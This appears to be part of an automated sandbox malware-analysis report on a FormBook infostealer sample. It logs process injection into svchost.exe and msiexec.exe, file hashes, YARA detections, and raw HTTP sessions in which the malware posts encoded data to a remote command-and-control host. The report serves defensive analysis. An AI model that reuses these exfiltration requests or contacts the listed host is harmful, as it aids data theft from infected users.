47	192.168.2.5	57238	72.52.178.23	80	2672	C:\Program Files (x86)\tDCzgUpqMpyFtrEZKjWXqEXSFoaiZJoViUUxeRKTJygWDziRLNg\sXmdPDASzrmzi.exe

Timestamp	Bytes transferred	Direction	Data
Sep 5, 2024 14:27:57.260699987 CEST	728	OUT	POST /f1qc/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US Host: www.4odagiyn.click Connection: close Content-Length: 224 Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Origin: http://www.4odagiyn.click Referer: http://www.4odagiyn.click/f1qc/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:40.0) Gecko/20100101 Firefox/40.0 Data Raw: 56 36 68 3d 73 78 59 74 36 37 50 59 64 70 50 77 58 44 36 78 34 46 2b 36 53 72 79 45 6b 78 69 59 6c 61 71 70 77 4f 64 4a 46 6c 77 6e 30 55 72 7a 44 69 6e 5a 45 38 6a 31 50 42 4b 46 7a 69 53 34 42 44 66 39 41 4c 2b 35 4d 51 41 2b 74 32 68 63 30 50 77 4c 56 52 63 75 50 33 76 33 4f 2b 30 47 6b 7a 4d 72 55 48 72 68 63 70 68 77 33 76 62 46 42 62 71 45 64 57 61 4a 53 78 74 42 79 66 6a 61 6d 6c 36 73 66 6c 74 77 7a 58 61 68 5a 6a 4c 58 51 53 31 66 69 52 65 36 74 67 4d 46 75 76 49 54 6e 66 2f 74 62 4f 76 43 54 39 65 41 4d 70 7a 65 54 4c 67 41 6e 4f 5a 4c 38 55 2b 59 32 2b 41 2b 42 38 70 56 74 38 53 2f 70 63 66 48 4f 50 50 59 69 4d 34 35 6b 34 77 45 6c 4d 59 43 61 45 34 30 Data Ascii: V6h=sxYt67PYdpPwXD6x4F+6SryEkxiYlaqpwOdJFlwn0UrzDinZE8j1PBKFziS4BDf9AL+5MQA+t2hc0PwLVRcuP3v3O+0GkzMrUHrhcphw3vbFBbqEdWaJSxtByfjaml6sfltwzXahZjLXQS1fiRe6tgMFuvITnf/tbOvCT9eAMpzeTLgAnOZL8U+Y2+A+B8pVt8S/pcfHOPPYiM45k4wElMYCaE40

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
48	192.168.2.5	57239	72.52.178.23	80	2672	C:\Program Files (x86)\tDCzgUpqMpyFtrEZKjWXqEXSFoaiZJoViUUxeRKTJygWDziRLNg\sXmdPDASzrmzi.exe

Timestamp	Bytes transferred	Direction	Data
Sep 5, 2024 14:27:59.794142008 CEST	1745	OUT	POST /f1qc/ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Encoding: gzip, deflate, br Accept-Language: en-US Host: www.4odagiyn.click Connection: close Content-Length: 1240 Content-Type: application/x-www-form-urlencoded Cache-Control: max-age=0 Origin: http://www.4odagiyn.click Referer: http://www.4odagiyn.click/f1qc/ User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:40.0) Gecko/20100101 Firefox/40.0 Data Raw: 56 36 68 3d 73 78 59 74 36 37 50 59 64 70 50 77 58 44 36 78 34 46 2b 36 53 72 79 45 6b 78 69 59 6c 61 71 70 77 4f 64 4a 46 6c 77 6e 30 55 6a 7a 44 7a 48 5a 57 62 66 31 4a 78 4b 46 74 53 53 31 42 44 65 68 41 4c 6d 39 4d 51 4d 78 74 31 56 63 31 70 38 4c 43 55 67 75 47 33 76 33 4d 2b 30 44 6e 44 4e 72 55 48 62 66 63 70 52 77 33 76 62 46 42 64 47 45 61 44 75 4a 66 52 74 43 78 66 6a 57 73 46 36 49 66 68 49 48 7a 58 65 66 5a 33 33 58 4a 79 6c 66 6b 79 6d 36 77 51 4d 48 76 76 49 4c 6e 66 44 2b 62 4f 79 7a 54 38 62 76 4d 70 4c 65 51 73 56 33 36 73 42 76 75 32 2b 4d 37 35 59 77 5a 71 78 71 6e 74 65 57 71 65 48 58 4b 74 6d 37 73 70 73 48 68 73 31 7a 30 5a 49 71 62 78 35 42 54 57 77 77 72 4e 64 31 78 54 51 76 64 76 52 46 46 37 63 31 53 4e 69 42 53 47 69 49 55 56 46 79 55 52 75 2f 78 57 4f 30 48 6a 6b 47 33 6e 79 42 71 67 71 44 47 56 4a 5a 75 68 65 32 6c 38 6b 57 53 46 63 6d 41 46 6c 6d 71 76 6c 6f 69 6d 56 7a 71 6e 61 67 57 4d 32 77 2f 4f 68 56 38 66 47 61 67 4c 6e 30 56 6b 6e 54 63 4c 33 52 37 77 2b 58 63 45 [TRUNCATED] Data Ascii: V6h=sxYt67PYdpPwXD6x4F+6SryEkxiYlaqpwOdJFlwn0UjzDzHZWbf1JxKFtSS1BDehALm9MQMxt1Vc1p8LCUguG3v3M+0DnDNrUHbfcpRw3vbFBdGEaDuJfRtCxfjWsF6IfhIHzXefZ33XJylfkym6wQMHvvILnfD+bOyzT8bvMpLeQsV36sBvu2+M75YwZqxqnteWqeHXKtm7spsHhs1z0ZIqbx5BTWwwrNd1xTQvdvRFF7c1SNiBSGiIUVFyURu/xWO0HjkG3nyBqgqDGVJZuhe2l8kWSFcmAFlmqvloimVzqnagWM2w/OhV8fGagLn0VknTcL3R7w+XcERbU3V8g6CdCqhg4+C4ZX5D8oLpMRdJd9kL6yLAkHcERFyq2jgRwkhTHq+Ay8BdiI+w7uY8SfTwLd/DHk5I+rqutGAeBs4v5Mcxe9mVtLdj5gSo/TMkTGXiH1o7zGWh5eGNjc4RVC3WufxdtAXJnz3kQc8YEUQoZu7ntXzs30vJFdEd/WU9l0l5u4MxEgasmCVrJb7e+ef7kLcEtP/qNTSym1h/8jJDzRctn8j8/z1szuCL7H6oLFoB45qb7rckZmK8tRGak8m7UD/K4Y7FbXtSSkUH3nNn9SBgUaEI3KgZWOHAbWgdl+VJl5UXhesAHv1tgP5CFHrHXlXM2W19J9rNlzn4DWKqHYocyOgpdGXxPqvZa9EFztuk7MGiMYEG6c6CTO3r4Y0VCYBtNlOOlXmjnzF4+DA3DqeV7aQimd25/7Hb3CLAbKAC/okAoNJvvvEWgbHlyCipsmMG+lK4cJcQzt4OoiFTVgERyTrcnwZ1591lBvTi+ZE77ck0NMjkZgKaqgmC51fUk74KOF3vpbOoSDFXh2CA9jnIHUlGFNZWIOyOsX/Nw/nWwAPV79sonvs4vQtvF4M0MyOliC/e5D16Llp0PMlerDQOKirwty8VrRd6g4EI1ZSxJN1TzpAzhjoJpRhoPZ+NVIAZVtrb7OJfG1Khvw9/VSYG [TRUNCATED]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
49	192.168.2.5	57240	72.52.178.23	80	2672	C:\Program Files (x86)\tDCzgUpqMpyFtrEZKjWXqEXSFoaiZJoViUUxeRKTJygWDziRLNg\sXmdPDASzrmzi.exe

Timestamp	Bytes transferred	Direction	Data
Sep 5, 2024 14:28:02.342185974 CEST	449	OUT	GET /f1qc/?V6h=hzwN5LvsQYGPXTyx42WRS7uCqzLBy6ud4OZoJGct5lGhQCi/JqvYfzOI1V2uJBuqGZjzCjoJ029vt64MfCw2DjbXOZQ5rAFnHlGKde1l7O/bIsy3YWShbixw9PLvmnDlNA==&sH=nVVHdDTx2PSTVJ HTTP/1.1 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8 Accept-Language: en-US Host: www.4odagiyn.click Connection: close User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.10; rv:40.0) Gecko/20100101 Firefox/40.0
Sep 5, 2024 14:28:02.887254953 CEST	508	IN	HTTP/1.1 302 Moved Temporarily Date: Thu, 05 Sep 2024 12:28:02 GMT Server: Apache/2.4.6 (CentOS) OpenSSL/1.0.2k-fips mod_fcgid/2.3.9 X-Powered-By: PHP/5.4.16 Connection: close Cache-Control: no-cache Pragma: no-cache Location: http://ww7.4odagiyn.click/f1qc/?V6h=hzwN5LvsQYGPXTyx42WRS7uCqzLBy6ud4OZoJGct5lGhQCi/JqvYfzOI1V2uJBuqGZjzCjoJ029vt64MfCw2DjbXOZQ5rAFnHlGKde1l7O/bIsy3YWShbixw9PLvmnDlNA==&sH=nVVHdDTx2PSTVJ&usid=16&utid=34491565278 Content-Length: 0 Content-Type: text/html; charset=UTF-8

Target ID:	0
Start time:	08:23:58
Start date:	05/09/2024
Path:	C:\Users\user\Desktop\0XLuA614VK.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\0XLuA614VK.exe"
Imagebase:	0xf20000
File size:	1'296'896 bytes
MD5 hash:	562CB5DCBA0E691BF01AB2C020C0837E
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Reputation:	low
Has exited:	true

Target ID:	2
Start time:	08:23:59
Start date:	05/09/2024
Path:	C:\Windows\SysWOW64\svchost.exe
Wow64 process (32bit):	true
Commandline:	"C:\Users\user\Desktop\0XLuA614VK.exe"
Imagebase:	0x50000
File size:	46'504 bytes
MD5 hash:	1ED18311E3DA35942DB37D15FA40CC5B
Has elevated privileges:	true
Has administrator privileges:	true
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000002.00000002.2203489925.0000000005000000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000002.00000002.2203489925.0000000005000000.00000040.10000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000002.00000002.2202835266.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000002.00000002.2202835266.0000000000400000.00000040.80000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000002.00000002.2203112079.0000000003480000.00000040.10000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000002.00000002.2203112079.0000000003480000.00000040.10000000.00040000.00000000.sdmp, Author: unknown
Reputation:	high
Has exited:	true

Target ID:	3
Start time:	08:24:07
Start date:	05/09/2024
Path:	C:\Program Files (x86)\tDCzgUpqMpyFtrEZKjWXqEXSFoaiZJoViUUxeRKTJygWDziRLNg\sXmdPDASzrmzi.exe
Wow64 process (32bit):	true
Commandline:	"C:\Program Files (x86)\tDCzgUpqMpyFtrEZKjWXqEXSFoaiZJoViUUxeRKTJygWDziRLNg\sXmdPDASzrmzi.exe"
Imagebase:	0x50000
File size:	140'800 bytes
MD5 hash:	32B8AD6ECA9094891E792631BAEA9717
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000003.00000002.4491976479.0000000006A20000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000003.00000002.4491976479.0000000006A20000.00000040.80000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000003.00000002.4488832936.00000000041A0000.00000040.00000001.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000003.00000002.4488832936.00000000041A0000.00000040.00000001.00040000.00000000.sdmp, Author: unknown
Reputation:	high
Has exited:	false

Target ID:	4
Start time:	08:24:09
Start date:	05/09/2024
Path:	C:\Windows\SysWOW64\msiexec.exe
Wow64 process (32bit):	true
Commandline:	"C:\Windows\SysWOW64\msiexec.exe"
Imagebase:	0x4b0000
File size:	59'904 bytes
MD5 hash:	9D09DC1EDA745A5F87553048E57620CF
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Yara matches:	Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000004.00000002.4487941986.0000000002590000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000004.00000002.4487941986.0000000002590000.00000004.00000800.00020000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000004.00000002.4487732507.0000000000110000.00000040.80000000.00040000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000004.00000002.4487732507.0000000000110000.00000040.80000000.00040000.00000000.sdmp, Author: unknown Rule: JoeSecurity_FormBook_1, Description: Yara detected FormBook, Source: 00000004.00000002.4487977474.00000000025D0000.00000004.00000800.00020000.00000000.sdmp, Author: Joe Security Rule: Windows_Trojan_Formbook_1112e116, Description: unknown, Source: 00000004.00000002.4487977474.00000000025D0000.00000004.00000800.00020000.00000000.sdmp, Author: unknown
Reputation:	high
Has exited:	false

Target ID:	6
Start time:	08:24:34
Start date:	05/09/2024
Path:	C:\Program Files\Mozilla Firefox\firefox.exe
Wow64 process (32bit):	false
Commandline:	"C:\Program Files\Mozilla Firefox\Firefox.exe"
Imagebase:	0x7ff79f9e0000
File size:	676'768 bytes
MD5 hash:	C86B1BE9ED6496FE0E0CBE73F81D8045
Has elevated privileges:	false
Has administrator privileges:	false
Programmed in:	C, C++ or other language
Reputation:	high
Has exited:	true